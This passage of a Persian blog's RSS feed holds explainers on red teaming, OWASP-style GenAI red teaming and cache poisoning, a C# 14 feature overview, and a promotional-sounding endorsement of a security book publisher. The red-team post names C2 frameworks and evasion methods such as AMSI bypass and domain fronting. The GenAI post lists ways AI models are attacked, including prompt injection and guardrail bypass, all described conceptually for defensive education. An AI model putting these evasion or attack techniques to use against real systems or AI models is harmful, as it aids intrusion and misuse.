رفتار default literalقابلیت استفاده از default در موقعیت‌های بیشتری وجود دارد. مزایا: کوتاه‌تر شدن کد خوانایی بهتر چرا نیاز بود؟default literal کاربرد زیادی داشت اما در نسخه‌های قبلی محدود بود. 🔵 11. رفع محدودیت‌های refC# 14 اجازه می‌دهد ref در موقعیت‌های بیشتری استفاده شود. مزایا: کنترل بیشتر بر حافظه سرعت بالاتر مناسب برای ساختارهای performance critical چرا نیاز بود?ref همیشه یکی از سنگ‌بناهای کارایی در C# بوده،اما محدودیت‌های syntax باعث دست‌وپاگیری آن می‌شد. 🔵 12. بهبود استنتاج نوع (Type Inference)نسخه جدید کامپایلر بهتر می‌تواند انواع generic و async را تشخیص دهد. مزایا: نیاز کمتر به نوع‌نویسی اضافی کد تمیزتر و خواناتر چرا نیاز بود؟کدهای LINQ، async و generic در پروژه‌های واقعی سنگین شده بودند.بهبود inference تجربه توسعه را بسیار راحت‌تر می‌کند. 🔵 13. بهبود عملکرد async/awaitدر C# 14 ساختار داخلی state machine بهینه‌تر شده است. مزایا: اجرای سریع‌تر تخصیص حافظه کمتر افزایش کارایی وب‌سرویس‌ها و اپلیکیشن‌های I/O محور چرا نیاز بود؟امروزه بیشتر کدهای backend بر پایه async هستند؛این بهبود تأثیر زیادی روی سرعت واقعی برنامه‌ها دارد. 🔵 14. ارتقاهای Roslyn و هشدارهای جدیدکامپایلر C# 14 هوشمندتر شده. مزایا: تشخیص بهتر null referenceها هشدارهای دقیق‌تر رفع کدهای غیرقابل اجرا چرا نیاز بود؟کامپایلر مدرن فقط باید کد را ترجمه نکند؛بلکه باید رفتار توسعه‌دهنده را هدایت و از خطا جلوگیری کند.🎯 جمع‌بندی: چرا C# 14 مهم است؟C# 14 ترکیبی از سه هدف اصلی است: ✔ افزایش کارایی (performance) async سریع‌تر span سبک‌تر ref منعطف‌تر ✔ افزایش خوانایی و کاهش پیچیدگی extension members ?= pattern matching پیشرفته ✔ بهبود تجربه توسعه و ابزارسازی partial constructor partial event nameof برای genericهادر مجموع، C# 14 تلاش کرده زبان را هم برای برنامه‌نویس روزمره و هم برای سازندگان ابزارها و frameworkها مدرن‌تر و قدرتمندتر کند.</description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Sun, 16 Nov 2025 11:36:00 +0330</pubDate>
            </item>
                    <item>
                <title>تیم قرمز  یا Red Teaming چیست؟</title>
                <link>https://virgool.io/@LoopLunatic/%D8%AA%DB%8C%D9%85-%D9%82%D8%B1%D9%85%D8%B2-%DB%8C%D8%A7-red-teaming-%DA%86%DB%8C%D8%B3%D8%AA-opxjn0cw7zw9</link>
                <description>تیم قرمز (Red Teaming) یک ارزیابی بسیار پیشرفته و مبتنی بر رویکرد مهاجم در حوزه امنیت سایبری است که باهدف شبیه‌سازی سناریوهای واقعی حمله انجام می‌شود. برخلاف تست‌های نفوذ سنتی، عملیات تیم قرمز صرفاً به شناسایی آسیب‌پذیری‌های فنی محدود نمی‌شود، بلکه مقاومت کلی یک سازمان را در برابر تهدیدات بررسی می‌کند؛ ازجمله نقاط ضعف انسانی، فرآیندها و توانایی‌های شناسایی و واکنش به تهدید.تیم‌های قرمز از روش‌ها، تکنیک‌ها و رویه‌های مهاجمان واقعی (که به‌اختصار TTPs نامیده می‌شوند) تقلید می‌کنند؛ مانند تهدیدات پیشرفته و پایدار (APTها) و از چارچوب‌های ساختاریافته‌ای همچون MITRE ATT&amp;CK و Cyber Kill Chain بهره می‌برند. این عملیات ذاتاً به‌صورت پنهانی انجام می‌شوند و اغلب بدون اطلاع قبلی تیم دفاعی اجرا می‌گردند تا شبیه‌سازی تهدید به شکلی واقعی و مؤثر انجام شود.اهداف اصلی عملیات تیم قرمز:ارزیابی جامع (Holistic Evaluation): سنجش میزان توانمندی یک سازمان در شناسایی، واکنش و بازیابی از حملات سایبری پیچیده.واقع‌گرایی به‌جای لیست‌محوری (Realism Over Checklists): تمرکز بر شبیه‌سازی تهدیدات واقعی به‌جای صرفاً اسکن آسیب‌پذیری‌ها یا بررسی‌های چک‌لیستی.پوشش میان‌دامنه‌ای (Cross-Domain Coverage): بررسی اثربخشی فناوری، رفتار کارکنان و صحت و کارایی فرآیندهای سازمانی.ویژگی‌های کلیدی عملیات تیم قرمزجنبه رد تیم (Red Team)هدف ارزیابی میزان تاب‌آوری سازمان در برابر تهدیدات واقعی.رویکرد شبیه‌سازی مخفیانه مهاجم با اهداف و محدودیت‌های واقع‌گرایانه.دامنه گسترده و سفارشی‌سازی ‌شده؛ شامل زیرساخت، نرم‌افزارها، نیروی انسانی، امنیت فیزیکی و زنجیره تأمین.روش‌شناسی شبیه‌سازی مبتنی بر TTP (تاکتیک‌ها، تکنیک‌ها و رویه‌ها) با استفاده از چارچوب‌هایی مانند MITRE ATT&amp;CK، Cyber Kill Chain و مدل‌های تهدید سفارشی.مدت‌زمان پروژه‌های بلندمدت؛ از چند هفته تا چند ماه.مخفی‌کاری به‌صورت مخفیانه و بدون اطلاع تیم آبی یا کارکنان IT (مدل Black Box).نتیجه سنجش میزان شناسایی تهدید، مدیریت هشدارها، مسیرهای تصعید (escalation paths) و اثربخشی واکنش.ابزارها بدافزارهای سفارشی، چارچوب‌های C2، پیلودهای فرار کننده، زنجیره سازی دستی TTPها، و زیرساخت اختصاصی رد تیم.تفاوت تیم قرمز با تست نفوذ (Penetration Testing)بااینکه اغلب با یکدیگر اشتباه گرفته می‌شوند، تیم قرمز و تست نفوذ اهداف و رویکردهای متفاوتی دارند:جنبه تیم قرمز (Red Teaming) تست نفوذ (Penetration Test)هدف ارزیابی کلی وضعیت دفاعی و توان واکنش به تهدید شناسایی و بهره‌برداری از آسیب‌پذیری‌های خاصتاکتیک‌ها شبیه‌سازی مهاجمان واقعی (مانند APTها، نفوذگران داخلی، هکتیویست‌ها) استفاده از آسیب‌پذیری‌های شناخته‌شده و ابزارهای رایج اکسپلویتمیزان آشکار بودن عملیات به‌صورت مخفیانه و بدون اطلاع تیم‌های دفاعی معمولاً با اطلاع کامل یا نسبی تیم امنیتی انجام می‌شوددامنه فعالیت وسیع؛ شامل دسترسی فیزیکی، مهندسی اجتماعی و نفوذ به سیستم‌ها محدود؛ تمرکز بر سیستم‌ها، اپلیکیشن‌ها یا شبکه‌هامدت‌زمان چند هفته تا چند ماه چند روز تا چند هفتهخروجی نهایی گزارش روایی از شکاف‌های شناسایی و واکنش، و تحلیل Kill Chain گزارش فنی از آسیب‌پذیری‌ها و راهکارهای رفع آن‌هاابزارها ابزارهای سفارشی، پیلودهای مبهم سازی شده، زیرساخت زنده C2 اسکنرها و فریم‌ورک‌های اکسپلویت (مثل Nessus، Burp Suite)روش‌شناسی و چارچوب‌ها در عملیات تیم قرمزعملیات تیم قرمز یک تمرین ساده‌ی چک‌لیستی نیست، بلکه مبتنی بر سناریوهای واقع‌گرایانه و هماهنگ با اطلاعات تهدید (Threat Intelligence) است. چارچوب‌های زیر، پایه و راهنمای بیشتر عملیات مدرن رد تیم به شمار می‌روند:MITRE ATT&amp;CK: پایگاه دانشی جامع از رفتارهای مهاجمان، که بر اساس تاکتیک‌ها و تکنیک‌ها سازمان‌دهی شده است.Cyber Kill Chain: مدلی توسعه‌یافته توسط شرکت Lockheed Martin که مراحل مختلف یک حمله سایبری را شرح می‌دهد.TIBER-EU: چارچوبی مبتنی بر اطلاعات تهدید، ویژه تست‌های اخلاقی تیم قرمز در مؤسسات مالی اروپایی.NIST 800-115 (کاربرد اصلاح‌شده): در این چارچوب، تیم قرمز به‌عنوان زیرمجموعه‌ای از ارزیابی‌های مبتنی بر تقابل (Adversarial Assessments) شناخته می‌شود.هر عملیات معمولاً با شناسایی (Reconnaissance) آغازشده و مراحل زیر را دنبال می‌کند:1. دسترسی اولیه (Initial Access)2. ماندگاری در سیستم (Persistence)3. افزایش دسترسی (Privilege Escalation)4. حرکت افقی در شبکه (Lateral Movement)5. احتمال استخراج داده‌ها (Data Exfiltration)تمام این مراحل در حالی انجام می‌شود که تیم قرمز به‌دقت تلاش می‌کند از شناسایی شدن توسط تیم‌های دفاعی جلوگیری کند.ابزارها و فناوری‌های مورداستفاده در عملیات تیم قرمزتیم‌های رد از ترکیبی از ابزارهای عمومی، خصوصی و سفارشی‌سازی ‌شده استفاده می‌کنند که برای شبیه‌سازی حملات واقعی طراحی‌شده‌اند. این ابزارها شامل موارد زیر هستند:چارچوب‌های فرمان و کنترل (C2 Frameworks):مانند Cobalt Strike، Sliver، Havoc و Mythic برای برقراری ارتباط مخفی با سیستم‌های قربانی.اسکریپت نویسی تهاجمی (Offensive Scripting):استفاده از زبان‌هایی مانند PowerShell، C++ و Python برای توسعه ابزارها و اجرای تکنیک‌های نفوذ.تکنیک‌های فرار از شناسایی (Evasion Techniques):شامل مبهم سازی (Obfuscation)، DLL sideloading، و دور زدن مکانیسم‌های امنیتی مانند AMSI (Antimalware Scan Interface) و ETW (Event Tracing for Windows).زیرساخت (Infrastructure):راه‌اندازی Redirectorها، سرورهای مرحله‌بندی (staging servers) و استفاده از تکنیک Domain Fronting برای پنهان‌سازی ترافیک ارتباطی.ابزارهای فیزیکی و مهندسی اجتماعی (Physical/SE):مانند BadUSBها (دستگاه‌های USB مخرب)، کارت‌های شبیه‌سازی‌شده برای دسترسی فیزیکی، پیلودهای فیشینگ و نقاط دسترسی وای‌فای جعلی (rogue access points).این مجموعه ابزار به تیم‌های رد امکان می‌دهد تا حملات را با واقع‌گرایی بالا اجرا کرده و اثربخشی دفاع سایبری سازمان را به‌طور کامل مورد ارزیابی قرار دهند.نکات پایانیتیم قرمز تنها به معنای «نفوذ به سیستم» نیست؛ بلکه هدف اصلی آن، سنجش آمادگی واقعی سازمان در مواجهه با یک حمله سایبری است. این رویکرد بازخوردی حیاتی به تیم‌های آبی (Blue Teams) ارائه می‌دهد، نقاط کور امنیتی را شناسایی می‌کند و به بهبود مستمر در سه حوزه‌ مهم نیرو انسانی، فرآیندها و فناوری کمک می‌نماید.برخلاف تست‌هایی که صرفاً باهدف رعایت الزامات انطباق (Compliance) انجام می‌شوند، عملیات تیم قرمز مقاومت و بلوغ واقعی سازمان را در برابر فشارها و شرایط مشابه تهدیدات دنیای واقعی به چالش می‌کشد.</description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Sat, 25 Oct 2025 10:30:08 +0330</pubDate>
            </item>
                    <item>
                <title>چطور یه ناشر اعتماد منو جلب کرد و حالا طرفدارشونم!</title>
                <link>https://virgool.io/@LoopLunatic/%DA%86%D8%B7%D9%88%D8%B1-%DB%8C%D9%87-%D9%86%D8%A7%D8%B4%D8%B1-%D8%A7%D8%B9%D8%AA%D9%85%D8%A7%D8%AF-%D9%85%D9%86%D9%88-%D8%AC%D9%84%D8%A8-%DA%A9%D8%B1%D8%AF-%D9%88-%D8%AD%D8%A7%D9%84%D8%A7-%D8%B7%D8%B1%D9%81%D8%AF%D8%A7%D8%B1%D8%B4%D9%88%D9%86%D9%85-s5dndv28nxdl</link>
                <description>امروز می‌خوام تجربه‌ای رو تعریف کنم که برام جالب بود: داستانی که از بی‌اعتمادی شروع شد و به شگفتی ختم شد.وقتی به هیچ منبعی اعتماد نداریمن همیشه سعی می‌کنم خودم رو تو حوزه‌های تخصصی مثل امنیت سایبری و برنامه‌نویسی آپدیت نگه دارم. اما خب، پیدا کردن یه منبع درست‌وحسابی تو این بازار شلوغ مثل پیدا کردن سوزن تو انبار کاهه. چند وقت پیش به سایتی برخوردم به اسم cybershelf.github.io که خودش رو یک ناشر تخصصی در این حوزه معرفی می‌کرد. راستش اولش جدی نگرفتم، چون فکر کردم شاید مثل بقیه فقط یه سری محتوای تکراری باشه.اما یه چیز کنجکاوم کرد: دو تا کتاب رایگان PDF برای دانلود گذاشته بودن. با خودم گفتم چیزی از دست نمی‌دم، امتحانشون می‌کنم.اولین برخورد: کتاب‌های رایگاناز همون سایت cybershelf.github.io دو تا فایل رو دانلود کردم: «مقدمه‌ای بر توسعه API ویندوز برای تیم قرمز» و «مقدمه‌ای بر مدیریت عملیات تیم قرمز». انتظار زیادی نداشتم، ولی وقتی شروع کردم به خوندن، دیدم برخلاف تصورم ساده‌انگارانه یا سطحی نیستن. توضیحات روان بودن، مثال‌ها عملی و بعضی تمرین‌ها واقعاً قابل اجرا. بخش مربوط به توسعه API خیلی برام جالب بود چون با چند خط کد می‌شد نتیجه رو دید.کنجکاوی بیشتربعد از اون، از روی کنجکاوی سری به سرفصل‌های بقیه کتاب‌ها زدم. تنوع موضوعات زیاد بود: از تحلیل بدافزار و تست نفوذ گرفته تا حتی کاربرد هوش مصنوعی در امنیت. چیزی که توجهم رو جلب کرد این بود که سرفصل‌ها بی‌هدف و کلیشه‌ای نبودن، دقیق نوشته شده بودن. همین باعث شد وسوسه بشم یکی از کتاب‌ها رو بخرم.تجربه خریدکتابی که انتخاب کردم « مقدمه‌ای بر Bug Bounty: از مبتدی تا حرفه‌ای» بود. وقتی سفارش دادم گفتن باید چاپ بشه و چند روز طول می‌کشه. اولش کمی دودل شدم ولی پشتیبانی سریع جواب داد و همه‌چیز شفاف بود. نهایتاً کتاب مرتب و تمیز به دستم رسید.چیزی فراتر از انتظاراز همون صفحه‌ی اول فهمیدم این کتاب ارزش وقتی رو که براش گذاشتم داره. این کتاب پر بود از نکات کاربردی که با عمل کردن میتونستم تست‌شون کنم. بخش‌هایی که مثال‌محور بودن و تمرین‌های مشخص داشتن، برای من بسیار ارزشمندتر از صرفا خواندن تئوری بودن. تجربه خواندنش بیشتر شبیه گذروندن یه دوره کوتاه عملی بود تا فقط خوندن یک مرجع تئوری.چرا بهش اعتماد کردمچیزی که برای من مهم بود این بود که همون کیفیتی که تو کتاب‌های رایگان دیده بودم، تو کتاب پولی هم حفظ شده بود. محتوای به‌روز، پشتیبانی قابل اعتماد و تمرکز روی زبان فارسی باعث شد حس کنم دارم به یه منبع جدی و متفاوت دسترسی پیدا می‌کنم.حرف آخرمن از یه کاربر شکاک به کسی تبدیل شدم که حالا این منابع رو جدی دنبال می‌کنه. نمی‌خوام بگم همه باید همین تجربه رو داشته باشن، ولی پیشنهاد می‌کنم اگه مثل من دنبال یه منبع جدید هستید، اول کتاب‌های رایگانشون رو بخونید. احتمالاً خیلی زود خودتون می‌فهمید ارزش ادامه دادن داره یا نه.</description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Sun, 05 Oct 2025 13:37:07 +0330</pubDate>
            </item>
                    <item>
                <title>راهنمای GenAI Red Teaming</title>
                <link>https://virgool.io/@LoopLunatic/%D8%B1%D8%A7%D9%87%D9%86%D9%85%D8%A7%DB%8C-genai-red-teaming-x7xmxksaauvc</link>
                <description>هوش مصنوعی زایشی (GenAI) مثل مدل‌های زبانی بزرگ (LLMs) تحولی عظیم در فناوری و کسب‌وکارها ایجاد کرده است. اما در کنار فرصت‌ها، تهدیدها و ریسک‌های جدیدی را هم به همراه آورده که با روش‌های سنتی امنیت سایبری به‌سادگی قابل شناسایی یا مدیریت نیستند. به همین دلیل، مفهوم GenAI Red Teaming مطرح شده است: مجموعه‌ای از فعالیت‌ها و روش‌های تخصصی برای آزمایش، شناسایی و کاهش ریسک‌های امنیتی، اخلاقی و عملکردی در سیستم‌های هوش مصنوعی.این رویکرد ترکیبی از تست‌های سنتی امنیتی و متدولوژی‌های خاص AI است و به سازمان‌ها کمک می‌کند مطمئن شوند که مدل‌های هوش مصنوعی‌شان امن، قابل اعتماد و همسو با اهداف و ارزش‌های سازمانی هستند.چرا GenAI Red Teaming اهمیت دارد؟در امنیت سنتی، تمرکز روی نفوذ به سرورها، شبکه یا زیرساخت‌هاست. اما در GenAI ماجرا متفاوت است. اینجا حتی اگر مهاجم نتواند به زیرساخت نفوذ کند، می‌تواند با طراحی ورودی‌های خاص (Prompt Injection) مدل را وادار به خروجی‌های مخرب یا غیرمنتظره کند. برخی تهدیدهای مهم عبارتند از:حملات تزریق پرامپت: واداشتن مدل به شکستن قوانین یا افشای اطلاعات حساس.سمّیت و تعصب (Bias &amp; Toxicity): تولید محتوای توهین‌آمیز، تبعیض‌آمیز یا نامناسب.نشت داده (Data Leakage): بیرون کشیدن داده‌های خصوصی یا محرمانه از مدل.مسموم‌سازی داده (Data Poisoning): تغییر داده‌های آموزشی برای ایجاد رفتار ناخواسته.توهمات (Hallucinations): تولید اطلاعات نادرست اما با اطمینان بالا.ریسک‌های عامل‌ها (Agentic Vulnerabilities): در سیستم‌هایی که مدل‌ها به ابزارها و APIها وصل‌اند.ریسک‌های زنجیره تأمین (Supply Chain Risks): وابستگی به کتابخانه‌ها و داده‌های خارجی که ممکن است آلوده باشند.بنابراین، Red Teaming در GenAI فقط موضوع تکنیکال نیست؛ بلکه باید جنبه‌های اخلاقی، اجتماعی و حتی قانونی را هم در نظر بگیرد.فرآیند GenAI Red Teamingراهنمای OWASP پیشنهاد می‌کند این فرآیند در چهار لایه انجام شود:ارزیابی مدل (Model Evaluation)بررسی ضعف‌های ذاتی مدل مثل سوگیری، سمّیت، یا امکان بایپس شدن گاردریل‌ها.تست مقاومت در برابر حملات پرامپت یا استخراج دانش.تحلیل میزان صحت و جلوگیری از توهمات.ارزیابی پیاده‌سازی (Implementation Evaluation)تست سیستم پرامپت‌ها، فیلترها و گاردریل‌ها.بررسی امنیت پایگاه داده برداری (Vector DB) در RAG.تست پروکسی‌ها و فایروال‌های مخصوص مدل.ارزیابی سیستم (System Evaluation)تمرکز روی کل اکوسیستم: APIها، ذخیره‌سازی، زنجیره تأمین نرم‌افزار.بررسی نحوه تعامل خروجی مدل با سایر بخش‌های سیستم.تست تزریق کد، فرار از سندباکس یا حملات DoS.ارزیابی زمان اجرا و تعامل انسانی (Runtime/Human Interaction)تحلیل رفتار مدل هنگام استفاده واقعی توسط کاربران یا عامل‌های خودکار.بررسی ریسک‌های مهندسی اجتماعی، اعتماد بیش‌ازحد کاربران، و دستکاری تصمیم‌گیری عامل‌ها.این چهار مرحله کمک می‌کند آسیب‌پذیری‌ها از سطح مدل تا سطح سیستم و کاربران شناسایی شوند.تفاوت با Red Teaming سنتیمحدوده نگرانی‌ها: سنتی روی نفوذ فنی؛ GenAI شامل تعصب، سمّیت، خروجی‌های مضر.پیچیدگی داده‌ها: داده‌های متنوع و عظیم در GenAI، ارزیابی سخت‌تر از سیستم‌های قطعی.ماهیت احتمالی (Stochastic): خروجی مدل‌ها تصادفی است، پس تست‌ها باید آماری و چندباره باشند.معیارهای موفقیت: به‌جای “نفوذ شد یا نه”، اینجا درصد موفقیت حملات و میزان انحراف از رفتار مطلوب ملاک است.تکنیک‌ها و روش‌هاراهنما مجموعه‌ای از تکنیک‌های عملی را پیشنهاد می‌کند، مثل:مهندسی پرامپت خصمانه (Adversarial Prompt Engineering): طراحی ورودی‌های مختلف برای کشف ضعف‌ها.حملات یک‌مرحله‌ای و چندمرحله‌ای: بررسی ضعف‌ها در گفت‌وگوهای پیچیده.تست لبه‌ها (Edge Case Testing): بررسی ورودی‌های مبهم و غیرمعمول.استرس‌تست: آزمایش کیفیت خروجی در شرایط بار زیاد یا ورودی‌های غیرعادی.ارزیابی حریم خصوصی: بررسی احتمال افشای اطلاعات محرمانه.تحلیل سوگیری و اخلاق: تست با لهجه‌ها، زبان‌ها و سناریوهای فرهنگی مختلف.مقایسه بین‌مدلی: بررسی تفاوت خروجی‌ها در مدل‌ها یا نسخه‌های مختلف.تحلیل عامل‌ها و پلاگین‌ها: تست مرزهای تصمیم‌گیری عامل‌های خودکار و دسترسی به ابزارها.بلوپرینت عملی Red Teamingاین چارچوب شامل مراحل مشخصی است:تعیین اهداف و محدودهشناسایی منابع و ابزارهاطراحی سناریو و اجرای تست‌هامستندسازی یافته‌ها و تحلیل ریسکارائه گزارش و توصیه‌هابازبینی و بهبود مستمرنکته مهم این است که Red Teaming یک پروژه یک‌باره نیست، بلکه فرآیندی مداوم است.بلوغ در AI Red Teamingسازمان‌های بالغ ویژگی‌های زیر را دارند:ادغام Red Teaming با کل چرخه مدیریت ریسک سازمان.تیم چندرشته‌ای (AI، امنیت، اخلاق، حقوق، ریسک).وجود چارچوب تعامل و قوانین مشخص (Scope، ROE، ایمنی).توجه به ملاحظات منطقه‌ای و حوزه‌ای (قوانین محلی، فرهنگ‌ها).گزارش‌دهی شفاف و سیستم بازخورد برای بهبود مستمر.بهترین رویه‌ها و نمونه‌های سازمانیراهنما با بررسی سازمان‌های بزرگ AI چند الگو معرفی می‌کند:برخی سازمان‌ها اتکای شدید به اتوماسیون دارند.بعضی‌ها ترکیب تخصص امنیت و هوش مصنوعی را کلید موفقیت می‌دانند.برخی دیگر روی نوآوری‌های اجتماع‌محور و ابزارهای متن‌باز تکیه می‌کنند.سازمان‌های سیاست‌محور به استانداردها و چارچوب‌های حاکمیتی توجه بیشتری دارند.همچنین OWASP Top 10 for LLMs به‌عنوان یک مرجع کلیدی معرفی شده که فهرستی از رایج‌ترین آسیب‌پذیری‌ها و بهترین روش‌های مقابله با آن‌ها را ارائه می‌دهد.جمع‌بندیGenAI Red Teaming راهی برای تضمین امنیت، اعتماد و همسویی سیستم‌های هوش مصنوعی با اهداف سازمان است.با توجه به ویژگی‌های خاص مدل‌های زایشی، سازمان‌ها باید رویکردی چندلایه و مداوم برای ارزیابی داشته باشند:تست مدل‌ها و گاردریل‌هابررسی کل سیستم و زیرساختتحلیل رفتار زمان اجرا و تعاملات انسانیادغام نتایج در مدیریت ریسک سازمانیدر نهایت، Red Teaming برای GenAI فقط موضوع فنی نیست، بلکه نیازمند همکاری میان امنیت، مهندسی، اخلاق، ریسک و مدیریت است.</description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Mon, 25 Aug 2025 08:41:34 +0330</pubDate>
            </item>
                    <item>
                <title>درک مسمومیت حافظه پنهان (Cache Poisoning): تهدیدها، روش‌ها و کاهش آن</title>
                <link>https://virgool.io/@LoopLunatic/%D8%AF%D8%B1%DA%A9-%D9%85%D8%B3%D9%85%D9%88%D9%85%DB%8C%D8%AA-%D8%AD%D8%A7%D9%81%D8%B8%D9%87-%D9%BE%D9%86%D9%87%D8%A7%D9%86-cache-poisoning-%D8%AA%D9%87%D8%AF%DB%8C%D8%AF%D9%87%D8%A7-%D8%B1%D9%88%D8%B4-%D9%87%D8%A7-%D9%88-%DA%A9%D8%A7%D9%87%D8%B4-%D8%A2%D9%86-qgtszoxvc0hr</link>
                <description>در چشم‌انداز دیجیتالی به‌هم‌پیوسته امروزی که تبادل اطلاعات آنی است، مسمومیت حافظه پنهان (Cache Poisoning) به‌عنوان یک تهدید مهم برای امنیت سایبری ظاهرشده است. این بردار حمله موذیانه سیستم‌های کش سرورهای وب، سرورهای DNS و سایر اجزای زیرساخت شبکه را هدف قرار می‌دهد و یکپارچگی و قابلیت اطمینان آن‌ها را به خطر می‌اندازد. در این مقاله، ما به پیچیدگی‌های مسمومیت حافظه پنهان می‌پردازیم، روش‌ها، پیامدها و استراتژی‌های آن را برای کاهش تأثیر آن بررسی می‌کنیم.مسمومیت کش (Cache Poisoning) چیست؟مسمومیت کش یک حمله سایبری است که شامل خراب کردن داده‌های ذخیره‌شده در سیستم‌های Cache با محتوای مخرب یا غیرمجاز است. Cache ها مکان‌های ذخیره‌سازی موقتی هستند که داده‌های با دسترسی مکرر را برای تسریع زمان بازیابی و بهبود عملکرد کلی سیستم ذخیره می‌کنند. با مسموم کردن حافظه پنهان (Cache)، مهاجمان می‌توانند ترافیک قانونی را به وب‌سایت‌های مخرب هدایت کنند، اطلاعات حساس را ره‌گیری کنند یا عملکرد عادی سرویس‌های وب را مختل کنند.روش‌های مسمومیت کش:حملات مسمومیت کش می‌توانند به اشکال مختلف ظاهر شوند و هرکدام از آسیب‌پذیری‌های زیرساخت کش برای دستیابی به اهداف مخرب سوءاستفاده می‌کنند. برخی از روش‌های رایج عبارت‌اند از:1. مسمومیت کش DNS: سرورهای سیستم نام دامنه (DNS) نام دامنه‌های قابل‌خواندن توسط انسان را به آدرس‌های IP ترجمه می‌کنند و ارتباطات اینترنتی را تسهیل می‌کنند. در حملات مسمومیت کش DNS، مهاجمان از نقاط ضعف در فرآیندهای حل DNS برای تزریق سوابق DNS جعلی به حافظه کش سوءاستفاده می‌کنند. متعاقباً، کاربران ناآگاه به وب‌سایت‌های مخرب هدایت می‌شوند که منجر به سرقت بالقوه داده یا آلودگی بدافزار می‌شود.2. مسمومیت کش وب: سرورهای وب از مکانیسم‌های کش برای ذخیره محتوای ثابت مانند تصاویر، اسکریپت‌ها و فایل‌های HTML استفاده می‌کنند تا عملکرد وب‌سایت را افزایش دهند. مهاجمان می‌توانند هدرهای HTTP، کوکی‌ها یا پارامترهای پرس‌وجو را دست‌کاری کنند تا کش های وب را با محتوای مخرب مسموم کنند. درنتیجه، کاربران قانونی ممکن است ناآگاهانه صفحات وب دست‌کاری شده یا مخرب را دریافت کنند و حریم خصوصی و امنیت آن‌ها به خطر بیفتد.3. مسمومیت کش ARP: پروتکل حل آدرس (ARP) آدرس‌های IP را به آدرس‌های MAC در محیط‌های شبکه محلی ترجمه می‌کند. مسمومیت حافظه پنهان ARP که به‌عنوان جعل ARP یا مسمومیت ARP نیز شناخته می‌شود، شامل ارسال پیام‌های ARP جعلی برای مرتبط کردن آدرس MAC مهاجم با آدرس‌های IP قانونی است. با انجام این کار، مهاجمان می‌توانند ترافیک شبکه را ره‌گیری کنند، حملات انسان در میان را انجام دهند یا حملات انکار سرویس را انجام دهند.پیامدهای مسمومیت کش:عواقب حملات مسمومیت حافظه پنهان می‌تواند شدید باشد و بر افراد و سازمان‌ها تأثیر بگذارد:نقض داده‌ها: محتوای مخرب تزریق‌شده به سیستم‌های حافظه پنهان ممکن است منجر به دسترسی غیرمجاز به اطلاعات حساس، مانند اعتبار ورود، داده‌های مالی یا سوابق شخصی شود.انتشار بدافزار: با هدایت کاربران به وب‌سایت‌های مخرب یا ارائه محتوای آلوده، حملات مسمومیت حافظه پنهان می‌تواند انتشار بدافزارها ازجمله باج افزار، جاسوس‌افزار یا تروجان‌ها را تسهیل کند.اختلال در خدمات: دست‌کاری داده‌های حافظه پنهان می‌تواند عملکرد عادی وب‌سرویس‌ها را مختل کند و درنتیجه باعث ازکارافتادن وب‌سایت، کاهش اعتماد کاربران و ضررهای مالی برای کسب‌وکارها شود.جلوگیری از حملات مسمومیت حافظه پنهان:برای کاهش خطرات ناشی از حملات مسمومیت حافظه پنهان، سازمان‌ها می‌توانند اقدامات امنیتی پیشگیرانه و بهترین شیوه‌ها را اجرا کنند:1. پیاده‌سازی DNSSEC: پسوندهای امنیتی سیستم نام دامنه (DNSSEC) به‌صورت رمزنگاری رکوردهای DNS را برای جلوگیری از تغییر یا دست‌کاری غیرمجاز امضا می‌کنند. با اعتبارسنجی پاسخ‌های DNS در برابر امضای دیجیتال، DNSSEC به کاهش خطر حملات مسمومیت حافظه پنهان DNS کمک می‌کند.2. شستشوی منظم حافظه پنهان: شستشوی متناوب حافظه کش و تازه کردن داده‌های کش می‌تواند به حذف محتوای مسموم یا قدیمی کمک کند و احتمال حملات موفق مسمومیت کش را کاهش دهد.3. اعتبار سنجی ورودی و پاک‌سازی: اجرای مکانیسم‌های دقیق اعتبار سنجی ورودی و پاک‌سازی در برنامه‌های کاربردی وب می‌تواند از تزریق محتوای مخرب به حافظه پنهان وب از طریق درخواست‌های HTTP یا پارامترهای پرس‌وجو جلوگیری کند.4. تقسیم‌بندی شبکه: تقسیم‌بندی ترافیک شبکه و پیاده‌سازی کنترل‌های دسترسی می‌تواند تأثیر حملات مسمومیت حافظه پنهان ARP را با محدود کردن توانایی مهاجم برای ره‌گیری ارتباط بین دستگاه‌های شبکه محدود کند.5. نظارت و تشخیص نفوذ: استقرار ابزارهای مانیتورینگ شبکه و سیستم‌های تشخیص نفوذ (IDS) می‌تواند به شناسایی رفتار غیرعادی که نشان‌دهنده حملات مسمومیت حافظه پنهان است کمک کند و پاسخ به‌موقع حادثه و کاهش آن را ممکن می‌سازد.6. آموزش آگاهی از امنیت: آموزش کاربران و کارمندان در مورد خطرات مرتبط با حملات مسمومیت حافظه پنهان و ترویج بهترین شیوه‌های امنیت سایبری، مانند اجتناب از لینک‌ها یا وب‌سایت‌های مشکوک، می‌تواند به کاهش عامل انسانی در چنین حملاتی کمک کند.نتیجه:مسمومیت حافظه پنهان تهدیدی قابل‌توجه برای یکپارچگی، محرمانه بودن و در دسترس بودن سیستم‌ها و خدمات شبکه‌ای است. با بهره‌برداری از آسیب‌پذیری‌ها در زیرساخت حافظه پنهان، مهاجمان می‌توانند داده‌های ذخیره‌شده را برای دستیابی به اهداف مخرب دست‌کاری کنند، از سرقت داده تا اختلال در سرویس. بااین‌حال، با اجرای اقدامات امنیتی قوی، مانند اجرای DNSSEC، شستشوی حافظه پنهان و تقسیم‌بندی شبکه، سازمان‌ها می‌توانند خطرات ناشی از حملات مسمومیت حافظه پنهان را کاهش داده و از دارایی‌های دیجیتال خود در برابر سوءاستفاده محافظت کنند. هوشیاری، دفاع پیشگیرانه و آگاهی امنیتی مستمر در دفاع در برابر این تهدید سایبری فراگیر بسیار مهم است.</description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Sat, 26 Jul 2025 11:15:47 +0330</pubDate>
            </item>
                    <item>
                <title>بهترین روش‌های نام‌گذاری شاخه‌ها در Git برای پیاده‌سازی موفق CI/CD</title>
